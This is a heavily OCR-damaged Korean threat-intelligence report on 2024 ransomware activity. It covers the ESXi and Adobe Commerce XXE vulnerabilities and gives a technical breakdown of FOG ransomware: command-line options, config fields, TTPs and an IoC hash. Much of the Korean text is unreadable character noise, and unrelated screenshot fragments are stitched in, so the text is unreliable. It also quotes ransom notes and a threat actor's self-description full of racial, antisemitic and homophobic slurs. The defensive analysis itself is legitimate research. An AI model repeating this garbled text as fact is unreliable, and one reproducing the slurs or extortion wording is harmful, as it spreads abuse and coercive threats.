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Home > Microsoft Defender for Cloud

© Microsoft Defender for Cloud | Attack path analysis

Search 3 Leammore A’ Guides & Feedback
General
f\ > o Risk level
© Overview 67 © 120 Ve .
@ Getting started Total attack paths Affected resources Active recommendations Bcritical 14)  WHigh (42) [l Medium (10)  BLow (1)

7= Recommendations

O _Attack path analysis Search Risk level == 4selected X RiskFactors == 8selected X Y Add filter

O security alerts

# Inventory Risklevel  Title Entry point Target
& Cloud Security Explorer Critical Internet exposed and publicly accessible storage with sensitive data (Private preview) con!
@ workbooks Critical Internet exposed VM with high severity vulnerabilities allows lateral movement to Keys management service (Private pre.

& Community Critical Internet exposed and publicly accessible storage with sensitive data (Private preview)

& Diagnose and solve problems Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible

Cloud Security Citical Intemet exposed Azure Blob Storage container with sensitive data is publicly accessible

© Security posture Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible

@ Regulatory compliance Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible

@ Workload protections Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible
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Reset Password _
Use this iPhone to reset your Apple:
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1. Passwordless ¢1% A Ysl= SSO TZEZ A4 AT

7192 SSO ZREZZ AHE wf Passwordless 1525 A|¥SteE SAML(Security Assertion
Markup Language), OAuth, OIDC(OpenID Connect), Kerberos, ARFEZ}E/PKI & Il#dloF
ottt WAooz SAML ¥ OIDC 7F ol ARS=AE, dAeh Heto] et 3¢ AnfEZRE/PKI
HpAlo] AR E

AAFEFFE/PKI Q152 AMSARE Q1567 flall AREote ARFEZIE E+= IC J W& A5
22 =9 Al Hg7Iv X509 JAFAE ATt AutEFIEE= AWl SEo|dE QIFA 7t
mutual 15 AFsH7] 8] mTLS & ARSI AUIEZIE PIN 2 AYAHE AlgArt o §
gelgt &, euepQl FAE Q557 Aol MAE 4 Jlew, oy ofEeAolAd A5l AHEE
UL

2. Passwordless 915 1|Z]¥ Legacy Al2H®o] v|UH T #az AHE AN

Passwordless ¢15°] AHEEZ] o= Legacy AlAH2 HUHT F2]zH(Password Manager) &
ARGl HIEHE e FHoRls HAE 4 3l

HOHD Bezp AREAIS] 712 ZAHAFHolu AAFTE A4zt HI7E H2or fE52 99l
A, T8 HdHE HexprE ARERE G 9] 945 DB of oJ&T H¢, 3FUAY] AU~
FTHOo R AH|A FRgAJo kS Wrol AREATY oA Rk A7 WAL 5 Aok

AAZE A Al A2 AMSStY, @] T A E AAFTY AHALE Aot HYUHE
we|2HE o]-goto] T FHofH(Single Point Of Failure, SPOF) 1S Zo]1, HQF &5&
FEAE 5

HEOHD #eae] §92 25 7|9 On-Premise 7|8, HHFY ©E7] Z]gh §f Behex
7|9ko] Qleh. o]et HURS A= A, o3l RUHH, A 5713, At des),
MFA, S&7|gt dgh, Bl 74|, destd vjdile A7), SSO &9, Team Sharing 715
= ALt

EQST insight | 22



AR RREANCBAOE IR MZA O RBAOS &4/ M2AIABAOE AT
AoAC] AR, gy SEo] A5E BAR A8 54 AT AL

A7 FAT SRS BAL AT SfolHYE RS ofr|eH Hg HeFol ths) A,
AUF oplgA 4 A FoIH AT AT EAAF oplgHL:

R [e)
Passwordless & Z|¥ol= Modern Q1575 Agsh= ool of7|dxet St 7|2 QS
[e)

2l FAA L F Beped HH A9 57 &84 H=E
ol 4 doy =gl Mo wt=Al HHls] HES|op dttd. SSO, Phishing-resistant MFA,
A=EYAEE ¢HHRt Z9E fEZYAcldE T sholBelE 2ERIQ1F o7|HIHE 4-&5t=
o] QlolA whd 4= gl A Jidelth mgElold oF|HA E= SR E V2 S oFIEAHE

A8l 71Hgo] F-SHA On-Premise AH|A H Sek¢E AHIAE 28T 5= Q7| 7|tigich

SK et Hoh AMYREY BEY £F4 TE4 A o Z FASE B AuaE Aok
SIFh. QPEF S B4 TEM BAT Mok AT WES SK FHs Eaold] mi
2olalrlg B galg & k.
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Keep up with Ransomware

2024 @ 79 BAge] M Aels ALG46 A) vhu] oF 20% FAE 415 AL A=At AU
12 A9 WAE AN FEUD LockBir of 7 Aol ohA 33 DL ANSE BEFL
Lelln gtk @ A4S 0a9 45 AlEd] 93 AYRE FHHL Boss'el Al
Do 23 A 5 A 49 Y

2

o

T B4 HSE AEY 71sd FAlel diRt dulelEv wiA] wd=E o] AREARe] HlolEE
AAIShs Wiper oMJFE7F dizgch 7 4 19 4, m=9 Afold  HSE & 3IAf
A EAEF0| I (CrowdStrike)2] ZFAIT] IEZelE Hob Z2HE A (Falcon)olA] Windows
A& AA ] JHo|ER QIS AIAR SE 2 55237 S0 WA d4F7t vhH|EE 2

=
wgo] At HEAES I8 Jthet(Handala)s= 71 ddolEo] digt AWt o] o
Z Sk

AuvAlore] =7F Al dHole AEE AT Bl Ato]®(Brain Cipher) IH2 7 9 3 4

AAEY] Hdag] /FE AlEC] 525 718 AU ole2 6 9 20 & ¥ A3 H

AxuAlol Rt g4d= s 4

7€ BAAY o7t obd S3E =4
=

ol Awdor Hssl 7

0
'
[¢]

= = _Té_
Hregoen, ¥ Jd 77| ohu wjRo]

= o

2]

¢ SlEH|2E: oA (Hacker)9F HEJHI2E (Activist) 0] f/dol2 HA-AH8ld Exor St di71ES 53
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VMware ESXi® AHE A

Oll
OH
filo

T BZle 2 oh= SEXi A7t APT INC 2 o]5< HAst
£o)51al It o]5& §-E5H Babuk HEE 0] &3] VMware ESXi 8732 F2A5}T LockBit 3.0
A& o] &aiA Windows & FZst= 2oz gQlsint. o]ejox o7 T1F0] ESXi &3S
A@sta Qlrh 6 9 25 € EA1" ESXi 8.0 U3 #Ae] 2% $3] Fopd(CVE-2024-37085)2
ol- el FAAEC] MA TR HtS F=5F 4 UG Storm—0506, Storm—1175, Octo Tempest,
Manatee Tempest 2 &% IFE°] HFHS o84l Akira #H |9t BlackBasta A E
i Z 3}

i EHSQ BYREZHBreachForums)olAl &&st= 1@ H =7 (IntelBroker)7b g 7139
dolgE Hust= 2 3 A AL 7 olF2 FAHeR AFHA] gon, 7+ “Korean
Policy Force”, “Korean Government Agency”, “Korean Critical Government Agency” 2 7]A3ict.
IntelBroker 7} Huljsh= glofefols @2 Tt H Ht, T8 A SOl ZdHo| AAT,
WES B vhe 2 WA} 0|20 d & kel ek ektch

A 5ol AfolH HF AZEo] IJARI oW AE (Avast)7t YA (DoNex) #Adglole] 7] AHARE
HoF= 1% 293t 22 I/MFH Avast & 3 €RE HI/NER HoizEE A HYsh]
AAgom, 7 dofl= H ol DoNex sAolo] &Fo] AAEA] oot BEoot &5 /MR
DoNex EMJ%M—E ofe] 2t HBHgE 2Fes, 2022 d 4 4 F=(Muse) HAIR A2
2022 & 11 <¥oll= fake LockBit 3.0 2 Ao, 2023 @ 5 o= trago]A(DarkRace)=
olF& WA o ¥ 202449 3¥ DoNex #Hgol=z BT AT, 5740] wsfizp A4 o] &
F7HQ] E5o] SlEA] ¢ktor, 4 doll= thad FE Ato|EnbA HE/dehsn

OF_?_ILI_E

S ESXit VMware o4 Be SAE AFHOIA ol £QAAE FA6) GBAD & 9 UNIX 7)ue] o4 EaE
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3 -> Crowdstrike TjX|/QH0|E2 /&3 HYALC W=

() DIZ2 AMO|t] HOt 7|& 3|Af CrowdStrike®| 78 192 IHIO|E2 A|AE & o 82232 T4 w4

(3 2H0IE 22 WA2 2T 2A0| AYREE B HESIO] WE

(J MEIUIAE Handalatz PDF THYOf Wiper CH22E Y8 B2010] Wiper E

} -> BrainCipher 1& Ct3 ¥ {5 AIO|E0| 523} 7| S7H

() 6% 2020] 37 Q= |A|of 27t UA| GJO|E| HIE{0] T3t S=3} 7|

(Q BX™ 871 W20l 338 20| ofj2t 38 t7h= o US Hasetn 33

() #APIRte| Qo2 BIisHE 240| OfL|2} O OBt XX o= B33t 7|8 ZIHse o2t £
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Q BreachForumsOf|A| &3 IntelBroker?t 3= 7|2 H|O|E ZHO§ 2 & 32 AA|

() 252 7Sl ME GO|ElE §1o0], O 374 Al XiEte) Cf 0|4 H2E 4 gU7| Rolatn 71

o1zt MOIRI2 XWE|E SR "Boss"0| 243 BIAIX IDQ ST B TRES T

S7lE e=3} HAX ID 3l Z2E FE = Tox ID, XMPP, Briar ID, Ramp forum profile, Telegram ID, Signal ID

3 -> VMware ESXi ¥|28(CVE-2024-37085)5 283 #4g)0f 18

() 62 252 37HE ESXi 80 U3 HITO|A WS O1F 23| FlAtEO2, Tty 2 TH|Of Cheh 2a|%t A3 S JHs
(Q #od Aol £ AL0| BRSIX|P, CH4:2| 1E0| 0|0| O|F AL

Q Storm-0506, Storm-1175, Octo Tempest, Manatee Tempest7 Akira, BlackBasta H-49|0f HiZ0fl A8
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infosec

New ransomware variant
RansomHub 48
Chaos : Joker, .DeathGrip, OcreanSpy

Stop : .qual
Makop : .ursq
Dharma : ZILLA

Globelmposter : .GameCrypt
o>

New ransomware & group

Vanir, Pryx, RansomCortex, NullBulge, MadLiberator, Lynx
- \

vty
>~— —

F..‘L.:_t
O T

(3) emn O
° 71783 39 o IT 15

372.20249 7€ A4 918 8%
ANze 98

7 9ol old A WYl Tl SFRO, BES FUPW I8l th BEL A=
Wk PAALAPSUSS) 15 A 6 9 D1y Ade

= () L
g Rroll ohA] RS At Y 2 o 34 tidS FESte § Ee= olovial At

Who is Pryx

Pryx is a cool nigga who loves getting illegal access to big corporations, Pryx is definitely not a ransomware group.
Pryx is a cybercriminal or threat actor, whatever you want to call it. Pryx might soon get into hacktivism, bcuz why not
Pryx hates jews, pedos, gays, pajeets and niggers.

This is the new era of Pryx, Pryx is the best.

Don't you love this cute sp1d3r?

% 3. Pryx 1% &
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74 AEA S8 Pryx AF2 7 A9 HSiRE AR

Ao WGel Tgel okiw, SeuiEst @ S grkm BAYL EG oA §E
AolEclE 9Fe WP 5 Ak dolAst gor, dold §& AAZ ol ok B
2023 @ mx Za Agle e AN WEY AN St o2 s olSo] W

2T
Lo

SiEuE AZo] s Halr

| W
VNN I N NN

L IOy T |

You must be the domain administrator or CEO, in other words, our latest victim. You reading this message means that the internal infrastructure of your company
has been compromised, all your backs up are deleted or encrypted.

We have also stolen the majority of all important data held by your company.

Going forward, it would be in your interest to cooperate with us, to prevent further disgrace.

We are aware of everything. We have carefully studied all your finances and we know how much is a fair price for you to pay, with that in mind, know that we
shall treat you fairly.

When you choose to disregard our kindness and report to law enforcement or data recovery experts to help you figure out a way to recover your lost data, you only

lose TIME and MONEY, and we in the process lose our patience

Losing our patience would result in the leaking of your sensitive information to your competitors and other cyber-criminals that would certainly make a profit
off it. It would be in your best interest to aveid this.

We are always willing to negotiate as we believe dialogue should always be the first option and drastic action should be saved for last.

If we are unable to come to an agreement, we shall sell or give away all the information that we have stolen from you.

Navigating this website has been kept minmal and simple.
To list all commands, type help in the terminal.

Contact:

leaks
news
contact
help
clear

394 259 g3 92 AolE (4 Vanir, 5F Akira)

Vanir #EA01S] B 5 AIEE obrleh(Aki) WBAUe] IFW FAT §el 4
OAle AHgStn glon, PolE: dYs o HolMR olEsh WA= WS At

AW F A Ao WS AR, AW §F AEdA BEYES myse 2o
shelsict,
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Madliberator 7152 7 &tk 8 9] maliztE AAF. moizt = B2 AT AxY, 584,
718, 9=, -5 & IRt A Eokoll AA HoiE A o] o= Al+f Lynx I8
279 HsiAE AAFeH, HEHAE UHAZ(NullBulge)= % 554 ChiefShifter o] tjAFE

gole et m=o] Fg vire] 71d =y Wi 4 =+ Hlolg 1.2TBE 37is1= At

81, Aug 2024

offline
R

Nothing Found

It seems we can't find what you're looking for. Perhaps searching can help. Stalkers & Osinters
)

1% 5. RansomCortex T2 Y §& AlolE

npzjgte 2 7 9 11 4 53¢ Al9F RansomCortex 152 587 4 o= A T =
o5zt 4 AL AARAL 23y 8 ¥ 12 7[&Fo=2 T3 42 A0lEQ »E dolH7F Wz
Aol E 9] ElolEo] “Offline” 02 HAEH F71#9 S5 shelwz] ¢f1l gl
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5] H (RansomHub) &2 7 Hofltt AA| &3] 32%°l sfidot= 48 & AAotH st
g5S Holn Sty AP 3 ¥ EFHABlackCat/Alphv)] JAEAZH(Exit Scam) 7 ©]F,

BlackCat(Alphv)©] mtEUZ0°] RansomHub o $FshHA 3 diE Zgifo] 3] F7isty
Att. 6 Yoll= Y A% APEAES TAFOH, 7 Dol n|F ZEc o] HARE T

EH 7 Do= @AY olo] AR y)io] ZrbE A3 Ho] ARV E it RansomHub ©f
AR 24 W82 SK A5 249 2024 | 2 #£7] ] 5F BuAQd "KARA Ao
HAA 2024 2Q70A &A= At

i
e
o)

ot &

T A E2FY (Exit Scam): AGANA F4mE AFotA] gAY AACl deliAtolA £& AE T fd 5FE 7 g2 A

A= A B9

EQST insight | 31



LockBit @AYol 182 A 127402 Azoz e us) A4S 7|2qA|q, 7Y
& =9 33 A weiAE A sk 7
$HE QPO AP §E AEV} HA0 R Abo] BrlLalAL HAE AA|

5 o]H3] Best B4 Ho|1 9th

Akira 152 2023 d 4 Hof] 549 &5 © A

HeFel  CVE-2024-37085 & ol4a WATYTE o5 o o el

B2 ARS]Ql Federated Co-operatives Limited & 543 A8E A FAe 71 &2 S

5o FAIE WANA A A *Fox ¥ mFo ERE, 58 71#<! Financoop =

A9 °F 20GB 9] AT AH ¥ UF dHolHE ZHIeH, dfF E A Af &F A€~
b

¢l Heidmar &= -3-4 3t

—_

o7}

ol

on, 7 o= VMware ESXi 15 £-3]

o

A e A (Hunters) A = =
HHaoz AHolEHEISES A ol o HHY FAE RF siEt Hiez, ¢dost 9
EoopF & o fgsHA AgE Aol ot ol m=e] AE om AMH|lA AlE AAQ
Northeast Rehabilitation Hospital Network & 323l oF 410GB o] WY 29 A=me} 3kat FRE
g 5, A ZA] =2 =9l Kenya Urban Roads Authority & 3438 7HQ1 418 AH,
AF 24 L 17 dolHE 25| oF 18GB 9] HolEE g5/ E ot

jatol
£
2
|
el
rleo
)
N
e
o
i
>
)
|m

N,
S
ojx
r>~l
i_lg
ok
n
1o
2
S
N
A
A
P>
:_4>i‘
N,
e
filo
fu)
oz
o
ku

Zdo](Play) Ao 252 HS &

SHEL 9tk B9, AW 7 Yol mE

VMware ESXi &4 o] Wxo] WAL o2 ol&siH VM
< o)

=
EANF|IAY A mtde resler 4 9low, J|EHT © @

EQST insight | 32



m 2o US XA

FOG #d4o] e

< FOG /> TAGS BLOG i@

Hello, I'ts FOG Blog #

Confidential information of companies will be posted here

Latest Posts all posts +
Tue, July 3@, 2024 Sat, July 27, 2024 Fri, July 26, 2024
BASF | Nunhems City of cold Lake Odessa College
30 GB 18 GB 18 GB
read more = read more = read more =

241 FOG @90ef dolel 4% Afol=
2024 & 5 ¥7E ZzH FOG #Afol= S5 Z7]of Exe tad & AfolErZ &RIEA]
Aok, HHALE] 7I4E ttad AP o] Fol oaiztel FAoks WAS ARSIt
7 9 17 4, gaiArt 7 Aol AANE A 9E AfolEVE WrARon o] 4 AL
AXSHAA ZF 11 219] wsiatE AT

N
i
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Target Industry

Target Country
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< FOG /> TAGS BLOG <#:

Asbury Theological Seminary

Mon, June 24, 2824

Asbury Theological Seminary is an evangelical Christian seminary in Wilmore,
Kentucky. Asbury is accredited by the Commission on Colleges of the Southern
Association of Colleges and Schools and the Association of Theological Schools in

the United States and Canada.

www . asburyseminary.edu Industry Higher Education Size 281-588 Revenue $32.6 Million

Data tzken over 10 GB

404: Not found

Path: /posts/6686a9537b58c@

I¥ 8. FOG A0l Holg & ARlES AXZ Q¥ 3 (3 €5 7Fe® AXZ, b €5 273 AXD)

FOG #dflol a9 /& AIEE 7 ¢ 17 Lo ¥HE o]z HES| nsixprt AL
VAL, 2o AXeS 49 fle AHith. 79 30 LS 7IEeR 1139 AXE § 1382
AAE AdEelH, 2 Ao AT T 4 A U 8 Y] AAZL HolA7E EASHA]
et olF HelAlz tlidEn. Eet, Aoz Hol 7Hsd 2 Ao AlMEolE B S
dloley 371 HeolHe —E—Zﬂﬁ}ﬂ et 0ad #E APRIEZL 85 29EHA de H2
+Q vl=elu QY FHolAlo |ifel A-hH Feoltt AXZS eAskE F4 5 oY 7FeAol
Aevz &A1 o] J’JRO}E}
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FOG Ransomware

infosec

2ts3l 7/

File Encrypted

Custom Hash RSA Encrypted
M Hisee X ey

oS B HFAL

dm
0

HY L E

|

oY 37|17k smB 0|2k HH| S=st

22 %33t 37(*7F smB 0|4 10MB 0|2k 5MBTH ¥ S5t

22 2453 37|71 10MB 014: B2 ¥5st 37|93 ¥sst
B8 ¢St 37 ot TA 27| * (size AR 2 / 100

o A|AEI 23 1o =Q
HE US3} M ’A.;iﬂ O(;:_-é% 23 QIX}
HC-256 & =

sE|age ||Z2MA B2 || MH2A B8

T readme.txt - Windows 012%

ODEF) BTIE MAO) 22IV) =8RMH)
If you are reading this, then you have been the victim of a cyber attack. We call ourselves Fog and we take
ITo contact us you need to have Tor browser installed:

1. Follow this link: {redacted)}
2. Enter the code: {redacted)
3. Now we can communicate safely.

If you are decision-maker, you will get all the details when you get in touch. We are waiting for you

readme.txt

HZ Y3
)—o[ .FOG, .FLOCKED
A% 2lof
C )—o[ C/C++

1% 9. FOG #Ao] 7la
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infosec

Initial Access

Discovery 24E VPN Xt 5 0|2 HE

T1078
T1133

HESIT MH|A HAY

HE3 37 Xt 2l Defense Evasion

Windows Defender H|ZHd3}

Lateral Movement o LHE3}

RDP 3 SMBE S3t U2 yEia Hn - S S
PsExec® &% LI Y =93 Mt S Execution
Impact B Windows & # A
I = PsExecE E3+ 4Y
cf|o|Ef et=st
WO HMAE AN S [
_/

3% 10. FOG #dgdel 34 A

FOG #Hddlole &4 VPN® AAFES o8] msiat YEYA HFsh= WA ARt
Hx AT F I ALHA HEHD AHAE FASHL F7H4Q1 of 97t "HAHA] A=
Windows Defender & H|&/J3} gttt o] &1E WF Y ES=Z] RDP’ @ SMBYE -&ff W&
St AESH, PsExec ' & EofA HolzE P E wjx 9 AdPsith. v Ho]mCof=
Hyper-V P 2b49] VMDK " g dosfstll Veeam " o A4 WMAS  AAoh=
PowerShell 23 HECS} =4 Al2® B YED Ff AHs dosfsh= 9ol do|=Er}

ZtE] At

FOG #Addol= o8 AdY 2
Fm A Z2AA 9 AH|

A4S e ol AW 4 ek RSA FAY), ¢E3 o9l
Aglo] Aalel Wast 44 e Hosks) 9% )

> 2
i
Jhu
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8 VPN(Virtual Private Network): Q1E]Ul A4 7ol JHE BS5tY A A £3]517] 95 AMgsHE M4 Hot YEQA
® RDP(Remote Desktop Protocol): th2 HFEHE YA 2R AT & LR s|FE= Z2ZEF

10 SMB(Server Message Block): Windows 27304 oo} tAEe] 2 ¥ F2ES F/oh=t AHEEE vlAzx] F4]

! PsExect T2 A|Ago] MEo] £XEQolE HA|otA] ¥ ZRAAE Ao AYPE 4 QA AT WHE BT

12 o] 2 E (payload): AFEH A2”e] T, W T 7|8 HA0R &48 Q58 AA" =

¥ Hyper-V: Windows g301A4 olg] LAAAE APAZD 4 QI=F sH= 7Mdst &

' VMDK(Virtual Machine Disk): 7Hd 8740lA AHgsts 7Hd SIE tA3 Egteld

15 Veeam: Windows =HAAS] 7F48E 491 Microsoft Hyper—V 7Hd g3l ALEE 4= Qe wie] A

EQST insight | 37



SID” QAR Adsiel BYHOR FATL. o] AolE AF 5 B

o
ol A9 AR ok e 2k,

o B
ok
rlo
B
ik
o,
ot

oIxt | My |
-NOMUTEX REA6 MY 7|5 HE2Y%t

-LOG HEAOf AIZF 205 C:WProgramDatatlock_log.txt Off X &

-TARGET {PATH} XNEE Z20| Ue oDt A=ot
-ID {KEY} HHEAOITE ALt 4T HE US 523 o= East 7|
-CONSOLE oY ¢zt 215 =i 25 F 44d
-PROCOFF ZEMA R 7|6 Hg2dst
-UNCOFF HEHIA 37 A 223 7|5 Higdst
-SIZE {INT} A oY & doHE AL HIE 2 (int% (7122 15)
1. FOG #Adgo] A9 Az

it
.
=)
e
filo
0%
ok
sk
O
M

FOG #Hddlol= dHA & =2 Lo A3 Qzpol| webA 2 79
25 F7HoR AT 4 Sk Al A Al Z 7158 A HIARE T= HAA], AY
Ax, ofg HAR F dHAE FHom AMESh= 21E  “CiWProgramDataWDbglog.sys”
Aol AR o] Qo “-LOG” JAAE ArgstH Aol Al Agte] A3 =1 ntdE
“C:WProgramDataWlock_log.txt” ZA=Zo #7&stH, "~CONSOLE” IA+E dZHstH ntd 535}
g Foll dest i Y olge ERY F& Fo E€stH @A oW e d2steh=A

g 4 9l

2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 om 10:

111 [+4] Defined mutex name: jBgB4ZHXUNNAJLO9mz6lWFXxIOGUXPAXW
111 [=] Decrypting json config

:11 [=] Checking mutex...

111 [!'] S5kip mutex check by —nomutex param.
124 [4]1 JS50M config loaded successfully

124 [=] Init prgn data...

:25 Found disk # 1 (C:\), type: 1

:25 Ukmonwn DrvTIype (5) of root: D:\, skipped
125 [=] thread 14168 created

125 [=] thread 9100 created

125 [=] thread 5324 created

| ST T T S T S % T % Y % Y % ) U6 I 8 |
L= e Qe I S = g =« 1

1% 11. DbgLlog.sys 271
FOG @4l Addo] "ast A4 gro] &astele] Qlt. AdY <z “~ID” & HAdd gt
ALY oA daEEE o8l 512bit 279 7|2 WE $, HC-256 grggoez 4% gk
2353} gt B33 " A g2 @ vRe Joof AR, ZgHe=z BEos H HLo

2ol o

1 REA Mue): BEIALECIA shte] o] o] AYEst BA) HsH A

fllo
ol
>,
olt
N,
do
ol
ol
N
E
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A7t FREA g APEch FOG A7 AHgshe 72 A4 gto] A2 offf =<}
.
uy uy
PathStoplList L3 e CIHED
FileMaskStoplList Lot 0fQ mY HEAt
ShutdownProcesses ZIZMNA B2 A 2 AE
ShutdownServices MHA B2 Oid 2|2E
RSAPubKey o =3 7| B0 AMB k= RSA 3717
LockedExt Lot oty HY At
NoteFileName HHL-E oYy
NoteFileContents HE-E W&
E2.FOG 4 44 2

g doslslr] dell, Z4F ZEAA AR|AE FEAXIL ot T tid2 Ho8t H 4F
Zr = “ShutdownProcesses”, “ShutdownServices” BAEO| AAEo] Qtth ®Fd "-PROCOFF”
AAE YUAGE, 4TS olge] maAA D AN FRE AL v B LTSS
Attt mhel otgsl sEAHog 274 taolHel YEYT TS AYS T =HAE] oot
o9 GeEelel o] HYAE A1 NUS A RE HAL FHsaIch W] A A -
UNCOFF” QIZHE Argstd HELT Ff AHY2 Adzdfelx] ¢Fom “-Target” IAE AME-SHA
AA| Eto]HE 4o stste= Zio] ofyet Ixtet o YTt A=nt ofeslRitt

whel gfEah mhed A71sh “-SIZET QA g FoIA P 4Bst ovg AT JAT -
SIZE” 7k w24 2719 MAE@)E AN $E gEst 2712 A48d g 5
SIZE 2002 estd, AAl wh 27]9] 20%E P 9w 272 Agdth stdel 277}
SMB HTF 22 Aol Y AAE FEoT, 1 99 ol 4
22 GBSt 270 mebd B Folt Qdl, G ANE R FEst 3717} SMB o
}Z']' o

10MB w]gel Aol nhde] SMB 7F ¢foststal, 10MB ol4del A-feole Add F& 4=
A7RbE FeekE At HC-256 <izlgs ol8s) = d=2sle AysiH, d=sld

AR 7= A4 grol A Eel Sl RSA 71718 ol&sl Hagtth

of Zol= Windows FFolg AMgs] f23 W BART FA% dolHg wE A
A8 Qo] BFE YA,
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FOG @AYol of-g1et

infosec

Initial Access

HE E2 z|ato| At B

; of
Discovery HIE3H ZAE A TUF ARS 2% 1P B Kt

B2l 71L BX FRY ALZE B8 AY B At i
B MuA Y ZE HEYst S

Lateral Movement xjasa €Y ﬂi:i 3oz i}a‘l

FIIH HAE B A

EEL A YW MHlA HAH H
SAE YsHE S SN HE =

ASR T+ g3t 9l EDR FRME S
oty el xiet

HESI 22| L Wk 2|L3T S 2L 3|
GlofE W

ASR 74 #4318 B¢ oty B KT

o]

FOG #Aflole 27 AEE 9o &4F VPN AA5HE olg3th o8 WAlsky] flaliAl zt
A% Bz FHage] dete FojsiAy, HIBASE 2UF AAA Ahe ARE e &

g AAY T IP oflM 2adskA] Retes AlRtsior qtrh. kI, Ao ARG
Z Buas Aual wg@AsielAYy Adety, Fr1doz AARL AA U 7Alste] ©
&2 AL At AY Aljtshs & wE7F 2 asi

FOG & VPN & ol83) 7] 45 & W5 vEgZe] F7hgoz stasts] gia) 24 Aot

2% VEYD AHAS BART YEYD B6 A4S AT 5 Uk ASAE AT 9

Windows 15 A& S4sloF Stk o] ooz BWash Auit EES Abde] HBHs

PAEA RS P 4 gtk ¢ W S 9ls) SMB, RDP, PsExec 5& ol8stHz
H

HAAEY SAL AR 915 BAE WohEe ST AE shte el

FOG = A& R HEYZ= VM &38a 4417171 1% PowerShell 23 HES} 54
vl Z 3ttt o2 wWrz]alr] s ASR® 72 @AslstAY EDRY £24L 85

OAEroE, FOG MMl 22 daamet ohel WEND B4 WA gastels] ui
YEQD B AU AT ARG AxSAL vBYSstel 9% drse] I 4+ UES
shof @tk G AHSAE dolE BEshs e WAsh] gla Wy BARS AAshe
glonz, WMo VEHI AFro] HoleS A4t WY sor Fit,

18 ASR(Attack Surface Reduction): FZAA7} AFgSH= EA mg A9t A8 7M5gt T2AAS Afdsts BT 75

Al
-1 =

Y EDR (Endpoint Detection and Response): #FFE|} 2utd A 5 chdv|ox] dAst= ofd P98 AAtez At

hgstel el e v £2A

AT
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ﬂ Indicator Of Compromise )1

&
FOG : SHAZS6

€67260804526323484f564eebeb6c99ed021b960b899ff788aed85bb7a9d75c3

§

®

File Name

locker_out.exe

enc.exe
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m Z30 AOIE

+ TrendMicro 34! 2

E o] Z] (https://www.trendmicro.com/en_us/research/24/g/new—play-ransomware—
linux—variant—targets—esxi—shows—ties—with—p.html

o Trellix 54 29 0]] (https://www.trellix.com/blogs/research/akira—ransomware/)

+ BleepingComputer 54 &

52 ZHo]7] (https://www.bleepingcomputer.com/news/security/fake—crowdstrike—
fixes—target—companies—with—malware—data—wipers/)

o Avast 34 &

27 (https://decoded.avast.io/threatresearch/decrypted—donex—ransomware—and—its—
predecessors/)

+ BleepingComputer 521 E#Ho]Z] (https://www.bleepingcomputer.com/news/security/meet—brain—
cipher—the-new-ransomware—behind—indonesia—data—center—attack/)

+ BleepingComputer 521 Z#H©0]Z] (https://www.bleepingcomputer.com/news/security/new—fog-
ransomware—targets—us—education—sector—via—breached—vpns/)

+ Microsoft &4 EHo]2] (https://www.microsoft.com/en—us/security/blog/2024/07/29

/ransomware—operators—exploit—esxi—hypervisor—vulnerability—for—-mass—encryption/)

+ BleepingComputer &2

soo]A] (https://www.bleepingcomputer.com/news/security/sexi—ransomware—
rebrands—to—apt—inc—continues—vmware—esxi—attacks/)
+ CrowdStrike &

A o)) (https://www.crowdstrike.com/statement—on—falcon—content—update—for-
windows—hosts—kr/)
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Research & Technique

Adobe Commerce XXE F2FA(CVE-2024-34102)

M

B Y e

o

Magento &= 2008 & 3 €& 31 dof A5 SAI® PHP 7|HHe] @EAA AP E3Fo|th

2018 & 5 ol Adobe ©f 4H o]%, Magento Commerce Enterprise Edition = Adobe

Commerce ° S4%]¢] Adobe Commerce 2 2|EHGXPH T} HHH Magento Community Edition 2

o]7d35] Magento Open Source o 7|§1gE @& A& HAxpAAY SHEFCR G Sk OSINT

AA W= Sl AEHY Aol F70E Adobe Commerce & 2|9+ A}, 2024 |d 8 € 9 & 7|&
[e)

fais ()
23 £ H[EF Swe Zrto] 4 wro] s Apo]EoA Adobe Commerce S A
A

&4 fofa.info

1% 1. Adobe Commerce A& =4

% @] BY Rebranding): 71E HASe] Az o5, oI, AL, Tzl Y B o5e] xgoz sty FALS ehfels
ohAY A
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2024 A 6 & 13 ¥, Adobe Commerce oA XXE F°oFH(CVE-2024-34102)0] Z/N=ct di

FoPd-e REST APEIZE JSON dlol8E A2 et o B 20| nlgs] ool
XML 7% sh4e 5@ o4 9948 T & ] B AL FAGE T AFEe 5o

AE ] F4RE SHT 4 9o Fol7t Basi,

20249 79 13 9, Adobe AL % FoFES o) Ao WY AW, Bt A5 93, AW 4%
34S 9T 5 Yot A9S IAL TG, BoIAS PO CVE-2024-34102 7 ATHO R
oFgEGITt AUS WHsk ol FAYC

« URL: https://helpx.adobe.com/security/products/magento/apsb24-40.html

=)

2 REST API(Representational State Transfer APD): HTTP 238 53] 5X45to] g4 HolAd FZES A 97, FuHlolE ¢
AA(CRUD)S} Z2 &% dloHHlolA 7]5E& $3ot= APL d& P , DELETE &

A A 4G

[
=2
2
;-]
rlo
o
1=
ge)
O
w
>_]
rlr
-1
o
(@
;-]
rlo
jins
__‘TL‘
n
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B SF ALz

CVE-2024-34102 & 524 AU eE= ofel 2.

infosec

Adob
|i|i|!!%|%!|!!

® CVE-2024-34102

TOP
SECRET

@ MH L ef=3t 7| B3 @ 2FRHIWT E2 4d © MH L SRFH &3

1% 2. CVE-2024-34102 A AL

@ S4XsE XA EHECZE AEFQ F A Adobe Commerce AJH EFA

@ &AXHE CVE-2024-34102 #%ES 0|835t0] fo[HQl XML #& TS

® 34Xie 4o/l XML T2 S MH U 2=t 7] 2

@ 34Xt 233 71 &84 AP0 288 29X WT EE MM

® 4% ddE WT ES2S S 2G4 AHTI2E APIE ARSI MH W S &3
B gaws amegol v

CVE-2024-34102 o] #ofet AnEJo] WAL ohgy} Zth

=1 =3

Adobe Commerce 247, 2.46-p5, 2.4.5-p7, 2.4.4-p8, 2.43-ext-7, 2.4.2-ext-7 O|H
Magento Open Source 247, 2.46-p5, 24.5-p7, 2.4.4-p8 O|H
Adobe Commerce Webhooks Plugin 1.2.0 £E 1.4.0 7%
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B EAE 37 24 HE

HAE 348 =48] CVE-2024-34102 9] 52 714 AmEr},

o|& B
Adobe Commerce Magento
